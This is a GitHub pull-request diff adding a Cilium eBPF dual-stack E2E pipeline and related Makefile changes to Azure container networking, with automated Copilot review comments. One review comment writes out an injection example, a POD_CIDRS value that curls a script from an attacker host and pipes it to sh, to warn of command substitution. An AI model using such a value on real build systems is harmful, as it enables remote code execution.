Skip to content
Draft
17 changes: 17 additions & 0 deletions .pipelines/pipeline.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -366,6 +366,18 @@ stages:
k8sVersion: ""
dependsOn: ["test"]

# Cilium EBPF Dualstack Overlay E2E tests
- template: singletenancy/cilium-dualstack-ebpf/cilium-dualstack-e2e-job-template.yaml
parameters:
name: "cilium_ebpf_ds_e2e"
displayName: Cilium EBPF on AKS DualStack Overlay
os: linux
clusterType: dualstack-byocni-nokubeproxy-up
clusterName: "cilbpfdse2e"
vmSize: Standard_B2ms
k8sVersion: ""
dependsOn: ["test"]

# Cilium Overlay with hubble E2E tests
- template: singletenancy/cilium-overlay-withhubble/cilium-overlay-e2e-job-template.yaml
parameters:
Expand Down Expand Up @@ -503,6 +515,7 @@ stages:
- cilium_nodesubnet_e2e
- cilium_overlay_e2e
- cilium_ebpf_overlay_e2e
- cilium_ebpf_ds_e2e
- cilium_h_overlay_e2e
- aks_ubuntu_22_linux_e2e
- aks_swift_vnetscale_e2e
Expand Down Expand Up @@ -543,6 +556,10 @@ stages:
name: cilium_ebpf_overlay_e2e
clusterName: "cilbpfovere2e"
region: $(REGION_AKS_CLUSTER_TEST)
cilium_ebpf_ds_e2e:
name: cilium_ebpf_ds_e2e
clusterName: "cilbpfdse2e"
region: $(REGION_AKS_CLUSTER_TEST)
cilium_h_overlay_e2e:
name: cilium_h_overlay_e2e
clusterName: "cilwhleovere2e"
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
parameters:
name: ""
displayName: ""
clusterType: ""
clusterName: ""
vmSize: ""
k8sVersion: ""
dependsOn: ""
os: "linux"

stages:
- stage: ${{ parameters.clusterName }}
displayName: Create Cluster - ${{ parameters.displayName }}
dependsOn:
- ${{ parameters.dependsOn }}
- setup
pool:
name: $(BUILD_POOL_NAME_DEFAULT)
variables:
commitID: $[ stagedependencies.setup.env.outputs['EnvironmentalVariables.commitID'] ]
jobs:
- template: ../../templates/create-cluster.yaml
parameters:
name: ${{ parameters.name }}
displayName: ${{ parameters.displayName }}
clusterType: ${{ parameters.clusterType }}
clusterName: ${{ parameters.clusterName }}-$(commitID)
vmSize: ${{ parameters.vmSize }}
k8sVersion: ${{ parameters.k8sVersion }}
dependsOn: ${{ parameters.dependsOn }}
osSKU: "AzureLinux"
region: $(REGION_AKS_CLUSTER_TEST)

- stage: ${{ parameters.name }}
displayName: E2E - ${{ parameters.displayName }}
dependsOn:
- setup
- publish
- ${{ parameters.clusterName }}
variables:
commitID: $[ stagedependencies.setup.env.outputs['EnvironmentalVariables.commitID'] ]
GOPATH: "$(Agent.TempDirectory)/go" # Go workspace path
GOBIN: "$(GOPATH)/bin" # Go binaries path
modulePath: "$(GOPATH)/src/github.com/Azure/azure-container-networking"
IPV6_IMAGE_REGISTRY: acnpublic.azurecr.io
pool:
name: $(BUILD_POOL_NAME_DEFAULT)
jobs:
- job: ${{ parameters.name }}
displayName: Cilium EBPF Dualstack Test Suite - (${{ parameters.name }})
timeoutInMinutes: 120
pool:
name: $(BUILD_POOL_NAME_DEFAULT)
demands:
- agent.os -equals Linux
- Role -equals $(CUSTOM_E2E_ROLE)
steps:
- template: cilium-dualstack-e2e-step-template.yaml
parameters:
name: ${{ parameters.name }}
clusterName: ${{ parameters.clusterName }}-$(commitID)
scaleup: 50

- template: ../../cni/k8s-e2e/k8s-e2e-job-template.yaml
parameters:
sub: $(BUILD_VALIDATIONS_SERVICE_CONNECTION)
clusterName: ${{ parameters.clusterName }}-$(commitID)
os: ${{ parameters.os }}
cni: cilium
dependsOn: ${{ parameters.name }}
datapath: true
dns: true
portforward: true
service: true

- job: failedE2ELogs
displayName: "Failure Logs"
dependsOn:
- ${{ parameters.name }}
- cni_${{ parameters.os }}
condition: failed()
steps:
- template: ../../templates/log-template.yaml
parameters:
clusterName: ${{ parameters.clusterName }}-$(commitID)
os: ${{ parameters.os }}
cni: cilium
Original file line number Diff line number Diff line change
@@ -0,0 +1,142 @@
parameters:
name: ""
clusterName: ""
scaleup: ""


steps:
- template: ../../templates/setup-environment.yaml

- task: AzureCLI@2
inputs:
azureSubscription: $(BUILD_VALIDATIONS_SERVICE_CONNECTION)
scriptLocation: "inlineScript"
scriptType: "bash"
addSpnToEnvironment: true
inlineScript: |
set -e
make -C ./hack/aks set-kubeconf AZCLI=az CLUSTER=${{ parameters.clusterName }}
ls -lah
pwd
kubectl cluster-info
kubectl get pods -Aowide

# see makefile
export AZURE_IPTABLES_MONITOR_IMAGE_REGISTRY=acnpublic.azurecr.io
export AZURE_IPTABLES_MONITOR_TAG=$(make azure-iptables-monitor-version)
export AZURE_IP_MASQ_MERGER_IMAGE_REGISTRY=acnpublic.azurecr.io
export AZURE_IP_MASQ_MERGER_TAG=$(make azure-ip-masq-merger-version)
make -C ./hack/aks deploy-ebpf-dualstack-cilium

kubectl get pods -Aowide
name: "installCilium"
displayName: "Install Cilium EBPF on AKS Dualstack Overlay"

- template: ../../templates/cilium-cli.yaml


- script: |
echo "Start Azilium E2E Tests on Overlay Cluster"
sudo -E env "PATH=$PATH" make test-load SCALE_UP=32 OS_TYPE=linux CNI_TYPE=cilium_dualstack VALIDATE_STATEFILE=true INSTALL_CNS=true INSTALL_OVERLAY=true AZURE_IPAM_VERSION=$(make azure-ipam-version) CNS_VERSION=$(make cns-version) CLEANUP=true
retryCountOnTaskFailure: 3
name: "aziliumTest"
displayName: "Run Azilium E2E on AKS Overlay"

- script: |
kubectl get pods -A
echo "Waiting < 2 minutes for cilium to be ready"
# Ensure Cilium is ready Xm\Xs
cilium status --wait --wait-duration 2m
kubectl get crd -A
retryCountOnTaskFailure: 3
name: "CiliumStatus"
displayName: "Cilium Status"

- task: AzureCLI@2
inputs:
azureSubscription: $(BUILD_VALIDATIONS_SERVICE_CONNECTION)
scriptLocation: "inlineScript"
scriptType: "bash"
addSpnToEnvironment: true
inlineScript: |
set -e
kubectl get po -owide -A
clusterName=${{ parameters.clusterName }}
echo "Restarting nodes"
for val in $(az vmss list -g MC_${clusterName}_${clusterName}_$(REGION_AKS_CLUSTER_TEST) --query "[].name" -o tsv); do
make -C ./hack/aks restart-vmss AZCLI=az CLUSTER=${clusterName} REGION=$(REGION_AKS_CLUSTER_TEST) VMSS_NAME=${val}
done
displayName: "Restart Nodes"

- task: AzureCLI@2
inputs:
azureSubscription: $(BUILD_VALIDATIONS_SERVICE_CONNECTION)
scriptLocation: "inlineScript"
scriptType: "bash"
addSpnToEnvironment: true
inlineScript: |
set -e
cd test/integration/load

# Scale Cluster Up/Down to confirm functioning CNS
ITERATIONS=2 SCALE_UP=${{ parameters.scaleup }} OS_TYPE=linux go test -count 1 -timeout 30m -tags load -run ^TestLoad$
kubectl get pods -owide -A

cd ../../..
echo "Validating Node Restart"
make test-validate-state OS_TYPE=linux RESTART_CASE=true CNI_TYPE=cilium_dualstack
kubectl delete ns load-test
displayName: "Validate Node Restart"
retryCountOnTaskFailure: 3

- template: ../../templates/cilium-connectivity-tests.yaml

- script: |
ns=`kubectl get ns | grep cilium-test | awk '{print $1}'`
echo "##vso[task.setvariable variable=ciliumNamespace]$ns"
retryCountOnTaskFailure: 3
name: "nsCapture"
displayName: "Capture Connectivity Test Namespace"

- script: |
set -e
kubectl get po -owide -A
cd test/integration/datapath
echo "Dualstack Overlay Linux datapath IPv6 test"
go test -count=1 datapath_linux_test.go -timeout 3m -tags connection -run ^TestDatapathLinux$ -tags=connection,integration -isDualStack=true
echo "Dualstack Overlay Linux datapath IPv4 test"
go test -count=1 datapath_linux_test.go -timeout 3m -tags connection -run ^TestDatapathLinux$ -tags=connection,integration
retryCountOnTaskFailure: 3
name: "DualStack_Overlay_Linux_Tests"
displayName: "DualStack Overlay Linux Tests"

- script: |
echo "validate pod IP assignment and check systemd-networkd restart"
kubectl get pod -owide -A
cd test/integration/load
CNI_TYPE=cilium_dualstack go test -timeout 30m -tags load -run ^TestValidateState$
echo "delete cilium connectivity test resources and re-validate state"
kubectl delete ns $(ciliumNamespace)
kubectl get pod -owide -A
CNI_TYPE=cilium_dualstack go test -timeout 30m -tags load -run ^TestValidateState$
name: "validatePods"
displayName: "Validate Pods"

- script: |
echo "Run wireserver and metadata connectivity Tests"
bash test/network/wireserver_metadata_test.sh
retryCountOnTaskFailure: 3
name: "WireserverMetadataConnectivityTests"
displayName: "Run Wireserver and Metadata Connectivity Tests"

- script: |
cd hack/scripts
chmod +x async-delete-test.sh
./async-delete-test.sh
if ! [ -z $(kubectl -n kube-system get ds azure-cns | grep non-existing) ]; then
kubectl -n kube-system patch daemonset azure-cns --type json -p='[{"op": "remove", "path": "/spec/template/spec/nodeSelector/non-existing"}]'
fi
name: "testAsyncDelete"
displayName: "Verify Async Delete when CNS is down"

- template: ../../templates/cilium-mtu-check.yaml
1 change: 1 addition & 0 deletions .pipelines/templates/create-cluster.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,7 @@ jobs:
echo "Install az cli extension preview"
az extension add --name aks-preview
az extension update --name aks-preview
export POD_CIDRS="10.244.0.0/16,fdd5:a27a:b4bc:99d6::105/64"
Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The IPv6 pod CIDR fdd5:a27a:b4bc:99d6::105/64 is incorrect. The ::105 suffix represents a specific host address, not a network. For a pod CIDR, this should be: fdd5:a27a:b4bc:99d6::/64. This must match the corrected value in cilium-config.yaml.

Suggested change
export POD_CIDRS="10.244.0.0/16,fdd5:a27a:b4bc:99d6::105/64"
export POD_CIDRS="10.244.0.0/16,fdd5:a27a:b4bc:99d6::/64"

Copilot uses AI. Check for mistakes.
fi

if ! [ -z ${K8S_VERSION} ]; then
Expand Down
2 changes: 1 addition & 1 deletion .pipelines/templates/log-template.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -186,7 +186,7 @@ steps:
echo "Directory created: $(acnLogs)/"$node"_logs/Cilium-output/"

file="cilium-endpoint.json"
kubectl exec -i -n kube-system $pod -- cilium endpoint list -o json > $(acnLogs)/"$node"_logs/Cilium-output/$file
kubectl exec -i -n kube-system $pod -c cilium-agent -- cilium endpoint list -o json > $(acnLogs)/"$node"_logs/Cilium-output/$file
echo "Cilium, $file, captured: $(acnLogs)/"$node"_logs/Cilium-output/$file"
done
fi
Expand Down
2 changes: 1 addition & 1 deletion .pipelines/templates/log.steps.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -190,7 +190,7 @@ steps:
echo "Directory created: $(acnLogs)/"$node"_logs/Cilium-output/"

file="cilium-endpoint.json"
kubectl exec -i -n kube-system $pod -- cilium endpoint list -o json > $(acnLogs)/"$node"_logs/Cilium-output/$file
kubectl exec -i -n kube-system $pod -c cilium-agent -- cilium endpoint list -o json > $(acnLogs)/"$node"_logs/Cilium-output/$file
echo "Cilium, $file, captured: $(acnLogs)/"$node"_logs/Cilium-output/$file"
done
fi
Expand Down
3 changes: 2 additions & 1 deletion hack/aks/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -52,7 +52,7 @@ COMMON_AKS_FIELDS = $(AZCLI) aks create -n $(CLUSTER) -g $(GROUP) -l $(REGION) \
--no-ssh-key \
--os-sku $(OS_SKU) \
$(LTS_ARGS)
POD_CIDR = 192.168.0.0/16
POD_CIDR ?= 192.168.0.0/16

##@ Help

Expand Down Expand Up @@ -411,6 +411,7 @@ dualstack-byocni-nokubeproxy-up: rg-up ipv4 ipv6 overlay-net-up ## Brings up a D
--network-plugin-mode overlay \
--subscription $(SUB) \
--ip-families ipv4,ipv6 \
--pod-cidrs "$(POD_CIDRS)" \
Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The use of "$(POD_CIDRS)" in a shell-executed Makefile recipe allows command substitution (e.g., $(...) or backticks) to be executed even inside double quotes, enabling command injection if POD_CIDRS is attacker-controlled. An attacker could set POD_CIDRS="$(curl https://attacker/evil.sh | sh)" to execute arbitrary commands during aks create. Fix by using single quotes around the variable and validating its format, e.g., --pod-cidrs '$${POD_CIDRS}', and enforce a strict CIDR pattern before use (or sanitize to allow only valid IPv4/IPv6 CIDRs).

Copilot uses AI. Check for mistakes.
--aks-custom-headers AKSHTTPCustomFeatures=Microsoft.ContainerService/AzureOverlayDualStackPreview,AKSHTTPCustomFeatures=Microsoft.ContainerService/Ubuntu2404Preview \
--kube-proxy-config $(KUBE_PROXY_JSON_PATH) \
--yes
Expand Down
12 changes: 11 additions & 1 deletion hack/aks/deploy.mk
Original file line number Diff line number Diff line change
Expand Up @@ -9,23 +9,33 @@ AZURE_IP_MASQ_MERGER_IMAGE_REGISTRY ?= mcr.microsoft.com/containernetworking
AZURE_IP_MASQ_MERGER_TAG ?= v0.0.1-0
# so we can use in envsubst
export IPV6_HP_BPF_VERSION
export IPV6_IMAGE_REGISTRY
export AZURE_IPTABLES_MONITOR_IMAGE_REGISTRY
export AZURE_IPTABLES_MONITOR_TAG
export AZURE_IP_MASQ_MERGER_IMAGE_REGISTRY
export AZURE_IP_MASQ_MERGER_TAG
export IPV6_HP_BPF_VERSION
Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The variable IPV6_HP_BPF_VERSION is exported twice (lines 11 and 17). Remove the duplicate export on line 17.

Suggested change
export IPV6_HP_BPF_VERSION

Copilot uses AI. Check for mistakes.

deploy-common-ebpf-cilium:
@kubectl apply -f ../../test/integration/manifests/cilium/v$(EBPF_CILIUM_DIR)/cilium-agent/files/
@kubectl apply -f ../../test/integration/manifests/cilium/v$(EBPF_CILIUM_DIR)/cilium-operator/files/
# set cilium version tag and registry here so they are visible as env vars to envsubst
CILIUM_VERSION_TAG=$(EBPF_CILIUM_VERSION_TAG) CILIUM_IMAGE_REGISTRY=$(EBPF_CILIUM_IMAGE_REGISTRY) \
envsubst '$${CILIUM_VERSION_TAG},$${CILIUM_IMAGE_REGISTRY},$${IPV6_HP_BPF_VERSION}' < \
envsubst '$${CILIUM_VERSION_TAG},$${CILIUM_IMAGE_REGISTRY},$${IPV6_HP_BPF_VERSION},$${IPV}' < \
Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The variable $${IPV} in the envsubst command is undefined and will not be substituted. This appears to be an incomplete variable name. If this is intended to be IPV6_IMAGE_REGISTRY, it should be added to the envsubst list. Otherwise, this variable reference should be removed from the envsubst command.

Suggested change
envsubst '$${CILIUM_VERSION_TAG},$${CILIUM_IMAGE_REGISTRY},$${IPV6_HP_BPF_VERSION},$${IPV}' < \
envsubst '$${CILIUM_VERSION_TAG},$${CILIUM_IMAGE_REGISTRY},$${IPV6_HP_BPF_VERSION}' < \

Copilot uses AI. Check for mistakes.
../../test/integration/manifests/cilium/v$(EBPF_CILIUM_DIR)/cilium-operator/templates/deployment.yaml \
| kubectl apply -f -
@kubectl apply -f ../../test/integration/manifests/cilium/v$(EBPF_CILIUM_DIR)/ebpf/common/ciliumclusterwidenetworkpolicies.yaml
@kubectl wait --for=condition=Established crd/ciliumclusterwidenetworkpolicies.cilium.io
@kubectl apply -f ../../test/integration/manifests/cilium/v$(EBPF_CILIUM_DIR)/ebpf/common/

deploy-ebpf-dualstack-cilium: deploy-common-ebpf-cilium
@kubectl apply -f ../../test/integration/manifests/cilium/v$(EBPF_CILIUM_DIR)/ebpf/dualstack/static/
CILIUM_VERSION_TAG=$(EBPF_CILIUM_VERSION_TAG) CILIUM_IMAGE_REGISTRY=$(EBPF_CILIUM_IMAGE_REGISTRY) \
envsubst '$${CILIUM_VERSION_TAG},$${CILIUM_IMAGE_REGISTRY},$${IPV6_HP_BPF_VERSION},$${IPV6_IMAGE_REGISTRY},$${AZURE_IPTABLES_MONITOR_IMAGE_REGISTRY},$${AZURE_IPTABLES_MONITOR_TAG},$${AZURE_IP_MASQ_MERGER_IMAGE_REGISTRY},$${AZURE_IP_MASQ_MERGER_TAG}' < \
../../test/integration/manifests/cilium/v$(EBPF_CILIUM_DIR)/ebpf/dualstack/cilium.yaml \
| kubectl apply -f -
@$(MAKE) wait-for-cilium

deploy-ebpf-overlay-cilium: deploy-common-ebpf-cilium
@kubectl apply -f ../../test/integration/manifests/cilium/v$(EBPF_CILIUM_DIR)/ebpf/overlay/static/
CILIUM_VERSION_TAG=$(EBPF_CILIUM_VERSION_TAG) CILIUM_IMAGE_REGISTRY=$(EBPF_CILIUM_IMAGE_REGISTRY) \
Expand Down
Loading
Loading